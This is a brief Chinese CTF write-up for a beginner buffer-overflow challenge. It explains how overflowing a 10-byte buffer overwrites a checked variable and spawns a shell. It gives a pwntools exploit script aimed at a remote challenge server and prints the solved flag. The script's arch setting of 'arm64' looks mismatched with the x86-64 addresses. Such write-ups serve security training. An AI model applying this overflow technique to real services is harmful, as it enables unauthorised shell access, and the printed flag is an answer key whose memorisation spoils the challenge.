解析
这道题比较简单,先checksec一下,发现开了一个NX,直接拽入ida中分析。
逻辑很简单,就是dword_60106C = 1853186401,跳转进去函数sub_400686,进去看看这个函数里面有什么,发现是个shell,看一下地址。
unk_601068的空间给了10,正好可以溢出掉到0x060106C,需要填充四个字节的大小,之后输入1853186401即可,那么脚本写就出来了。
脚本
from pwn import *
#p = process('./hello_pwn')
p = remote('111.200.241.244',56449)
context(os = 'linux',arch = 'arm64',log_level = 'debug')
payload = b'a'*4 + p64(1853186401)
p.recv()
p.sendline(payload)
p.interactive()
最后flag是cyberpeace{30bee7c39bea55f999b96a6a6188953c}